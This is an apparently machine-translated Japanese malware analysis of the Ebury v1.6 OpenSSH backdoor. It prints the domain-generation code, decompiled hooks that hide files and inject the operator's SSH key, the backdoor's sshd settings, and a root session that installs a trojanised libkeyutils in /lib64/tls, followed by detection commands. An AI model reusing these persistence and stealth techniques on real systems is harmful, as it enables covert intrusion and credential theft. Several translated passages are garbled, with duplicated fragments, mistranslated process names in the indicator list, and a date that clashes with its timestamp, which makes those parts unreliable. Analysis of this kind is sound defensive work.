ウィンディゴ作戦：Linux / Eburyアップデート

2014年2月、ESETウイルスラボは、バックドアと、資格情報を盗むためのLinux / EburyマルウェアのOpenSSH 調査を導入しました 。 さらなる調査により、このコンポーネントは、Windigo操作に関与するいくつかのマルウェアファミリのコレクションの中核であることが示されました。 この発見は、このサイバーキャンペーンを説明するレポートの基礎となりました。


2017年2月、新しい機能をサポートするEburyのサンプルを発見しました。 新しいバージョン番号は1.6.2aです。 このサンプルが発見された時点で、私たちが知っている最後のバージョンは1.5.xで、数か月前に特定されました。 さらなる調査の過程で、ID盗難の原因となるインフラストラクチャは現在も運用中であり、EburyはWindigoサイバーグループによって積極的に使用されていることに気付きました。

最初に、バージョン1.4のEburyの侵害の兆候（IoC）をリストしました。 CERT-Bundは、バージョン1.5のIoCを公開しています。 この投稿では、2017年2月にオープンしたバージョン1.6のテクニカル分析と、バージョン1.5および1.6のIoCを紹介します。

バックアップの抽出用の新しいDGA

Ebury v1.4は、ドメイン生成アルゴリズム（DGA）に基づくバックアップメカニズムを提供します。これは、攻撃者がOpenSSHバックドアを介して感染システムに3日間接続しない場合に使用されます。 これらの条件下で、Eburyは生成されたドメインを使用して収集されたデータを転送します。 Ebury v1.6にも同じメカニズムがありますが、DGA自体に小さな変更があります。 これら2つのバージョンでは、以下に示すように、定数のみが異なります。

Ebury v1.6の新しいPython実装：

def DGA(domain_no): TLDS = [ 'info', 'net', 'biz' ] KEY = "fmqzdnvcyelwaibsrxtpkhjguo" h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF) g = "" for i in range(len(h))[::-1]: g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)] g += h[i] g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)] g += '.%s' % TLDS[domain_no % len(TLDS)] return g 

Pythonのバージョン1.4と1.6のDGAの違い：

 @@ -1,10 +1,10 @@ def DGA(domain_no): KEY = "fmqzdnvcyelwaibsrxtpkhjguo" - h = "%x" % ((domain_no * domain_no + 4091073) & 0xFFFFFFFF) + h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF) g = "" for i in range(len(h))[::-1]: - g += KEY[((ords(h[i]) * 4906) + (ords(h[-1]) + i + domain_no)) % len(KEY)] + g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)] g += h[i] - g += KEY[((ords(h[-1]) * 6816) + (len(h) + domain_no - 1)) % len(KEY)] + g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)] g += '.%s' % TLDS[domain_no % len(TLDS)] return g 

DGAによって生成された最初の10ドメイン：

larfj7g1vaz3y.net
idkff7m1lac3g.biz
u2s0k8d1ial3r.info
h9g0q8a1hat3s.net
f2y1j8v1saa3t.biz
xdc1h8n1baw3m.info
raj2p8z1aae3b.net
o9f3v8r1oaj3p.biz
tav4h8n1baw3r.info
hdm5o8e1tas3n.net

Eburyは、オペレーターによって作成されたTXTレコードを持つドメインが見つかるまで、生成されたドメイン名を順次試行します。 ドメイン所有者を確認するために、Eburyはコードに埋め込まれたRSA公開キーを使用してTXTレコードを復号化できるかどうかを確認します。

larfj7g1vaz3yのDNSレコード[。]ネット：
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAOadSGBGG9x/f1/U6KdwxfGzqSj5Bcy4aZpKv77uN4xYdS5HWmEub5Rj
nAvtKybupWb3AUWwN7UPIO+2R+v6hrF+Gh2apcs9I9G7VEBiToi2B6BiZ3Ly68kj
1ojemjtrG+g//Ckw/osESWweSWY4nJFKa5QJzT39ErUZim2FPDmvAgMBAAE=
-----END RSA PUBLIC KEY-----

larfj7g1vaz3y.net. 1737 IN A 78.140.134.7
larfj7g1vaz3y.net. 285 IN TXT "ItTFyJ6tegXn9HkHa+XZX1+fZw0IsfhXl05phu1F7ZXDP4HtKMvrXW8NbUSjY8vkQgDdKsSaSCyrvfkhHodhVQLhIKJJY64HeoInb3m4SCNZNOhx9qjYRnuR0Ci7BHNWakJC/QdoQ4UNKkOrvvb42kN7TU6jqZCYBtusXd37tNg="

Eburyはドメインレコードを無視します。

復号化された情報は、3つのCSVフィールドで構成されます。 以下は、larfj7g1vaz3y [。] NetのDNSレコードに保存されているデータのサンプルです。2018年1月の場合：

larfj7g1vaz3y[.]net:3328801113:1504126800

最初のフィールドにはドメイン名が含まれているため、署名されたデータを別のドメインで再利用することはできません。 2番目のフィールドは、C＆CサーバーのIPアドレスです。 3番目のフィールドには、署名済みデータの有効期限として使用されるUNIXタイムスタンプが含まれます。 有効期限-バージョン1.6以降、シンクホールメソッドをバイパスするために追加された新しいフィールド。 誰かが盗まれたデータの送信先のサーバー（エクスフィケーションサーバー）のドメインとIPアドレスを引き継ごうとすると、署名されたデータは限られた時間しか使用できません。 これにより、ほぼすべての以前のバージョンのDGAで発生する同期の試行が成功した場合の影響が軽減されます。


表1. TXTレコードに格納されているデコードされた情報

Eburyのオペレータが実際にバックアップチャネルを使用したいとは考えていません。 調査したサンプルでは、​​多くのバグが見つかりました。そのため、メカニズムを完成させることができません。 コードは明らかに完全なテストに合格しませんでした。 このため、Eburyのオペレーターが感染したマシンへのアクセスを失うことはほとんどないと想定できます。 おそらく、彼らは少数の損失を心配していない-彼らの制御下で、多くのシステム。 非稼働メカニズムを実装するためにこれほど多くの努力が払われた理由は不明です。

変更の概要
-わずかに変更されたDGA（定数の変更）
-データ収集サーバーのDNSレコードを確認するための有効期限を追加
-新規登録ドメイン：larfj7g1vaz3y [。] Net
-盗まれたデータの送信先サーバーの新しいIPアドレス：198 [。] 105.121.89

新機能

バージョン1.6で新しい機能が追加されました。 理由は不明ですが、このバージョンのすべての調査サンプルで利用できるわけではありません。

Eburyは現在、一般に「ユーザーモードルートキット」 （ユーザーモード）と呼ばれるセルフマスキングテクニックを使用しています。 これを行うために、プログラムはreaddirまたはreaddir64インターセプトします。これらはそれぞれ、ディレクトリエントリのリストをコンパイルするために使用されます。 返される次のディレクトリ構造がEbury共有ライブラリファイルである場合、トラップはそれをスキップし、代わりに次のエントリを生成します。

Hex-Raysデコンパイラーのreaddirトラップの出力：

struct dirent *__fastcall readdir(__int64 a1)
{
struct dirent *dir_entry; // rax
struct dirent *dir_entry_1; // rbx
__ino_t inode; // rax

do
{
if ( !readdir_0 )
readdir_0 = F_resolve_func("readdir");
dir_entry = readdir_0(a1);
dir_entry_1 = dir_entry;
if ( !exports_hook_activated )
break;
if ( !dir_entry )
break;
if ( !ebury_inode )
break;
inode = dir_entry->d_ino;
if ( inode != ebury_inode && inode != ebury_lstat_inode )
break;
}
while ( ebury_filename && !strncmp(dir_entry_1->d_name, ebury_filename,
ebury_filename_len_before_extension) );
return dir_entry_1;
}

トラップのアクティブ化は、動的なライブラリを各sshd子孫プロセスに注入することにより、Eburyによって実行されます。 サブプロセスに自身を注入するために、Eburyはexecveをインターセプトし、動的リンカー変数LD_PRELOADを使用します。 新しいプロセスが作成されるたびに、EburyはLD_PRELOAD=<Ebury_filename>を環境に追加します。

srvfail.comの記事では、Eburyによってマシンが侵害されたとされるユーザーのStackExchangeのスレッドに言及しています 。 彼が説明する振る舞いは、Eburyバージョン1.6.2aで観察した自己マスキング技術と一致しています。

Eburyの以前のバージョンはOpenSSHの特定のバージョンで動作し、Linuxディストリビューションに依存していました。 これはそうではありません。 OpenSSHパッチを適用するためのほとんどのプラクティスは、機能フックに置き換えられました。 同じサンプルを使用して、Debian Jessie、CentOS 7、およびUbuntu ArtfulマシンにEburyをインストールしてみましたが、すべてのケースで機能しました。

OpenSSHサーバー構成を挿入するために、バイナリsshdコードがEburyメモリに直接解析されます。これは、2つの異なる機能を探して同じプロセスで表示されます。 アドレスparse_server_configまたはprocess_server_config_lineを見つけようとします。 試行が失敗した場合、SELinux Role-Based Access Controlを無効にし、PAMモジュールを無効にすることにより、セキュリティ機能が低下します。 関数の1つが正常に処理されると、Eburyはバックドアを使用したsshd構成の変更中にそれを使用します。

バックドアが使用する構成：

PrintLastLog no
PrintMotd no
PasswordAuthentication no
PermitRootLogin yes
UseLogin no
UsePAM no
UseDNS no
ChallengeResponseAuthentication no
LogLevel QUIET
StrictModes no
PubkeyAuthentication yes
AllowUsers n
AllowGroups n
DenyUsers n
DenyGroups n
AuthorizedKeysFile /proc/self/environ
Banner /dev/null
PermitTunnel yes
AllowTcpForwarding yes
PermitOpen any

Eburyの著者は、バックドアメカニズムも強化しています。 SSHのクライアント側バージョンでエンコードされたパスワードに依存する代わりに、バックドアをアクティブ化するには認証用の秘密鍵が必要になりました。 おそらく、この追加のチェックは、バックドアのパスワードを見つけることができる人に、侵害されたEburyサーバーへのアクセスを防ぐために追加されたものです。

RSA公開鍵Eburyオペレーター：
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESH
CvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd3BD+ADXDurAlDG
bh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00
H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC/9rqoAdv7Gbc5Y7W8xrNIjOIuxDx
Bx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq6
3E/xqI4tMEQl9BmW1Df5+LjbVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub

バックドアに接続しようとすると、EburyはAuthorizedKeysFileオプションを/proc/self/environを指すように変更します。 openまたはopen64をフックし、 /proc/self/environまたは.ssh/authorized_keysを含むパスを開く試みがあるかどうかを確認し.ssh/authorized_keys 。 Eburyがparse_server_configおよびprocess_server_config_lineを処理して構成の転送を強制できない場合、2番目のチェックをバックアップとして使用できます。 Eburyはfgetsもインターセプトします。これは、 sshdがauthorized_keysファイルの内容を読み取るために呼び出します。 グローバル変数は、authorized_keysファイルを開いた後にfgetsが呼び出されるようにするために使用されます。 その後、トラップはfgetsバッファーをEburyオペレーターの公開キーで埋めるため、認証には攻撃者キーが使用されます。

Hex-Raysデコンパイラーのfgetsトラップの出力：

char *__fastcall fgets_hook(char *s, __int64 size, FILE *stream)
{
int fd_env; // ebp
char *result; // rax

if ( !(backdoor_command & 1) )
return fgets_0(s);
fd_env = fd_proc_self_environ;
if ( fd_proc_self_environ <= 0 || fd_env != fileno(stream) )
return fgets_0(s);
strcpy(
s,
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESHCvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd" "3BD+ADXDurAlDGbh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC" "/9rqoAdv7Gbc5Y7W8xrNIjOIuxDxBx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq63E/xqI4tMEQl9BmW1Df5+Lj"
"bVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub\n");
result = s;
fd_proc_self_environ = 0;
return result;
}

メモリコピー機能（ memcpy ）のトラップフックの目的はまだ確立されていません。

Hex-Raysデコンパイラーのmemcpyトラップの出力：

char *__fastcall memcpy_hook(char *dst, const char *src, size_t len)
{
size_t len_1; // r12
char *result; // rax

len_1 = len;
memcpy_orig(dst, src, len);
if ( len_1 > 0x1F && !strncmp(src, "chacha20-poly1305@openssh.com,", 0x1EuLL) )
result = memcpy_orig(dst, src + 30, len_1 - 30);
else
result = dst;
return result;
}

SSH鍵交換中にchacha20-poly1305アルゴリズムを削除するためにトラップが使用されることがわかっています。 Eburyの作者がこのアルゴリズムの使用を望まないのは奇妙です。

新しいインストール方法

Eburyはlibkeyutils.so 、 libkeyutils.soライブラリにペイロードを追加していlibkeyutils.so 。 このファイルには、libkeyutilsの正当な機能とブート時に起動された悪意のあるEburyコードの両方が含まれていました。 感染した場合、ファイルサイズは通常よりも大きくなりました。これは、2014年に侵害の兆候として指摘しました。

バージョン1.6.2でこの方法がどのように使用されるかを観察しましたが、Eburyの作者は侵害の指標を回避する新しい方法を思いつきました。 まだlibkeyutils.soファイルを使用してlibkeyutils.soますが、方法は異なります。

私たちの観察に基づいて、スクリプトと実装方法は、攻撃を受けているシステムのLinuxディストリビューションによって異なります。

Debian / Ubuntu

Debian / Ubuntuシステムでは、新しい方法を使用してEburyが展開されます。 libkeyutils.so OpenSSHクライアントおよびOpenSSHサーバーの実行可能ファイルによってロードされるため、攻撃者にとって興味深い標的です。 以前に、シンボリックリンクlibkeyutils.so.1を変更してライブラリの悪意のあるバージョンを示すことにより、Eburyがインストールされたことに気付きました。 変更されたライブラリには、Ebury初期化コードが格納されるコンストラクタがあります。 libkeyutils.soがロードされるたびに、 libkeyutils.soが呼び出されます。 したがって、クライアントまたはOpenSSHサーバーが起動するたびに、Eburyがプロセスに挿入されます。

Debian / Ubuntuの最新の実装方法は、 libkeyutils.soパッチに基づいており、別の.soファイルに保存されているEburyを強制的にロードします。 元のバージョンとパッチを適用したバージョンを比較すると、ELFファイルヘッダーの.dynamicセクションに追加のエントリがあることがわかりました。 レコードのタイプはNEEDED（0x01）です。これは、実行可能ファイルの依存関係と、操作中にロードされることを示します。 調査した展開スクリプトでは、ダウンロード可能なライブラリはlibsbr.soと呼ばれ、悪意のあるEburyコードが含まれています。

元のlibkeyutils.soとパッチを適用したlibkeyutils.soの動的セクションの違い：
--- ./libkeyutils.so.1-5 2017-10-13 21:19:24.269521814 -0400
+++ ./libkeyutils.so.1-5.patched 2017-10-13 21:19:17.405092274 -0400
@@ -1,5 +1,5 @@

-Dynamic section at offset 0x2cf8 contains 26 entries:
+Dynamic section at offset 0x2cf8 contains 27 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000000e (SONAME) Library soname: [libkeyutils.so.1]
@@ -26,4 +26,5 @@
0x000000006fffffff (VERNEEDNUM) 1
0x000000006ffffff0 (VERSYM) 0xdf0
0x000000006ffffff9 (RELACOUNT) 3
+ 0x0000000000000001 (NEEDED) Shared library: [libsbr.so]
0x0000000000000000 (NULL) 0x0

パッチを適用するプロセスは、2つのステップで構成されています。 まず、バイナリファイルの行のテーブルに「 libsbr.so 」という行を配置する必要があります。 次に、タイプ0x1（DT_NEEDED）の新しいエントリをELFファイルヘッダーの動的セクションに追加する必要があります。 Eburyの作者は、文字列「 __bss_start 」を「 _\x00libsbr.so 」に置き換えました。 __bss_start動的リンカーによって使用されないため、このシンボルを変更してもライブラリの実行には影響しません。 次の図は、元のlibkeyutils.soと変更されたlibkeyutils.so行libkeyutils.soの違いを示してlibkeyutils.soます。


図1.元の行テーブルとパッチを適用した行テーブルの違い

libsbr.so行が行テーブルに保存されたので、 .dynamicセクションに新しいエントリを追加する必要があります。 図2は、元のlibkeyutils.soとパッチを当てたlibkeyutils.soの.dynamicセクションの違いを示しています。


図2.オリジナルとパッチを適用したlibkeyutils.soの.dynamicセクションの違い

.dynamicセクションには、amd64バイナリ用のElf64_Dyn配列とi386用のElf64_Dyn配列が含まれています。 これらの構造の定義を以下に示します。

.dynamicセクションに関連付けられた構造
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;

typedef struct {
Elf64_Sxword d_tag;
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
} Elf64_Dyn;

libkeyutils.soの64ビットバージョンを以下に示します。 したがって、.dynamicセクションの新しいエントリは次のように記述できます。

.dynamicの新しいエントリ：
Elf64_Dyn dyn;
dyn.d_tag = DT_NEEDED;
dyn.d_val = 0x38F;

ステルス性を高めるため、Eburyのオペレーターはlibkeyutils1パッケージのMD5合計にパッチを適用するようにしました。 単純なパッケージ整合性チェックを使用してシステムの感染をチェックすることはできません。 同様のコマンドはエラーを表示しません。

パッケージ整合性チェックコマンド： $ dpkg --verify libkeyutils1

別のライブラリとしてデプロイされる場合、Eburyは多くのファイル名を使用します。 以下は、既知のファイル名のリストです。
-libns2.so
-libns5.so
-libpw3.so
-libpw5.so
-libsbr.so
-libslr.so

CentOS

Debian / Ubuntuでの展開に使用されるものと同様の手法は、CentOSにも適用されます。 攻撃者はlibkeyutils.so.1パッチにパッチを当てて、追加のライブラリのダウンロードを強制します。 さらに、CentOS / RedHatシステムにEburyを実装するために使用される新しい手法に気付きました。 インストールプロセスの詳細はまだわかりませんが、一部のオンラインレポートを表示することで、実装の仕組みについていくつかの仮定を立てることができました。

Debianの実装に似た方法で、Eburyがlibkeyutilsファイルによって別の共有オブジェクトとしてデプロイされていることを知っています。 バージョン1.6の実装方法と思われる別のインストール方法を確認しました。 Eburyの以前のバージョンと同様に、オペレーターは独自のバージョンのlibkeyutils.so作成し、それに悪意のあるコードを含むコンストラクターを追加しました。 libkeyutils.so.1を/lib/または/lib64/から変更する代わりに、動的リンカーはこのディレクトリから依存関係の処理を開始するため、ファイルを/lib{,64}/tls/ 。

このバージョンの実装プロセスは、被害者のシステムのアーキテクチャに応じて、 /lib/tls/または/lib64/tls/にEburyを配置することから始まると考えてい/lib64/tls/ 。 次に、 ldconfig実行すると、悪意のある共有オブジェクトを示すシンボリックリンク/lib{,64}/tls/libkeyutils.so.1自動的に作成されます。

ldconfigを使用して、Eburyを/ lib64 / tls /にデプロイします。

[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007ff67774f000)
[root@c2093ca76055 lib64]# cp libkeyutils.so.1.5 /lib64/tls/
[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f44ac6ba000)
[root@c2093ca76055 lib64]# ldconfig
[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/tls/libkeyutils.so.1 (0x00007fc12db23000)
[root@c2093ca76055 lib64]# ls -al /lib64/tls
total 24
dr-xr-xr-x 1 root root 4096 Oct 18 14:34 .
dr-xr-xr-x 1 root root 4096 Oct 18 13:25 ..
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5

さらに、これは、シンボリックリンクを操作したり、実装中に問題が発生した場合に元の共有libkeyutilsオブジェクトのバックアップコピーを保存したりする必要のない単純なアンインストールシステムに対しても行われます。 /lib{,64}/tls/の悪意のあるlibkeyutils.soファイルを削除してから、 ldconfig再度実行して、システムを元の状態に戻すだけで十分です。

ldconfigを使用してEburyを削除します。

[root@c2093ca76055 tls]# pwd
/lib64/tls
[root@c2093ca76055 tls]# ls -l
total 16
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5
[root@c2093ca76055 tls]# rm libkeyutils.so.1.5
[root@c2093ca76055 tls]# ldconfig
[root@c2093ca76055 tls]# ls -l
total 0
[root@c2093ca76055 tls]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f7b89349000)
[root@c2093ca76055 tls]# ls -l /lib64/libkeyutils.so.1
lrwxrwxrwx 1 root root 18 Oct 18 13:25 /lib64/libkeyutils.so.1 -> libkeyutils.so.1.5

tls 、Linuxブートローダー機能で使用されます。 このため、CPUが追加のコマンドセットをサポートしている場合、このディレクトリにあるコマンドは「通常の」コマンドよりも高い優先度を取得します。

おわりに

Maxim Senahの逮捕にもかかわらず、Windigoボットネットは引き続き機能します。 LinuxボットネットのコアコンポーネントであるEburyは、多くの重要な改善を獲得しました。 現在、彼は自己マスキング技術とOpenSSH関連プロセスへの新しい注入方法を使用しています。 さらに、新しいドメイン生成アルゴリズム（DGA）を使用して、攻撃者の秘密キーで署名された有効なTXTドメインレコードを検索します。これには、データ収集サーバーのIPアドレスが含まれます。 署名されたデータの再利用を防ぐために有効期限が追加され、同期の試行を防ぐのに役立ちます。 Windigoのオペレーターは、公開されている侵害指標を定期的に確認し、ソフトウェアが検出されないように調整します。 よく知られているIoCを使用してシステムの感染を判断する際には、これを考慮に入れる必要があります。公開が早ければ早いほど、すでに古くなっている可能性が高くなります。

侵害インジケータ

このセクションでは、侵害の指標を公開します。これは、Eburyの最新バージョンを判断するのに役立ちます。 コミュニティがシステムの感染を判断できるように支援しますが、完全であるとは主張しません。

Eburyは現在、UNIXソケットを使用して外部データ盗難プロセスと通信しています。 ほとんどの場合、ソケット名は「 /tmp/dbus- 」で始まります。 実際のdbusは、同様の方法でソケットを作成できます。 ただし、Eburyは正当なdbus関連しないプロセスを介してこれを行います。 次のコマンドの結果がソケットの場合、これは疑わしいです。

$ lsof -U | grep -F @/tmp/dbus- | grep -v ^dbus

以下は、Eburyがデータをリークするために使用することがわかっているプロセスのリストです。
-監査済み
-crond
-アナクロン
-arpd
-鋭い
-rsyslogd
-udevd
-systemd-udevd
-atd
-ホスト名
-同期

CentOS / Redhatでは、 /lib/tls/または/lib64/tls/ libkeyutils.so*ファイルが存在すること/lib64/tls/です。

objdump -x libkeyutils.so.1 （またはreadelf -d libkeyutils.so.1 ）を実行すると、ELFファイルの動的ヘッダーセクションが表示されます。 libcまたはlibdl以外のNEEDEDタグ（タイプ1）を持つものは疑わしいように見えます。

$ objdump -x /lib64/libkeyutils.so.1 | grep NEEDED | grep -v -F -e libdl.so -e libc.so

お使いのマシンがルートスペースユーザースペースを持つEburyバージョンに感染している場合、これを判断する方法はたくさんあります。 Eburyは、動的リンカーLD_PRELOADシステム変数を使用して自身を実装するため、別のシステム変数を使用して動的リンカープロセスを検出できます。 libkeyutilsべきでないプロセスにロードすると、システムがルートキット対応バージョンのEburyに感染している可能性が高くなります。 次のコマンドが結果を返す場合、それも疑わしいです：

$ LD_DEBUG=symbols /bin/true 2>&1| grep libkeyutils

感染したマシンを検出した場合、Windigoは追加のマルウェアをインストールすることがあるため、システムを完全に再インストールすることをお勧めします。 Eburyによって侵害されたマシンは、他のマルウェアに感染する可能性もあります。 また、すべてのユーザー資格情報とSSHキーが危険にさらされていることを考慮してください- それらをすべて変更してください 。


表2. Ebury関連ハッシュ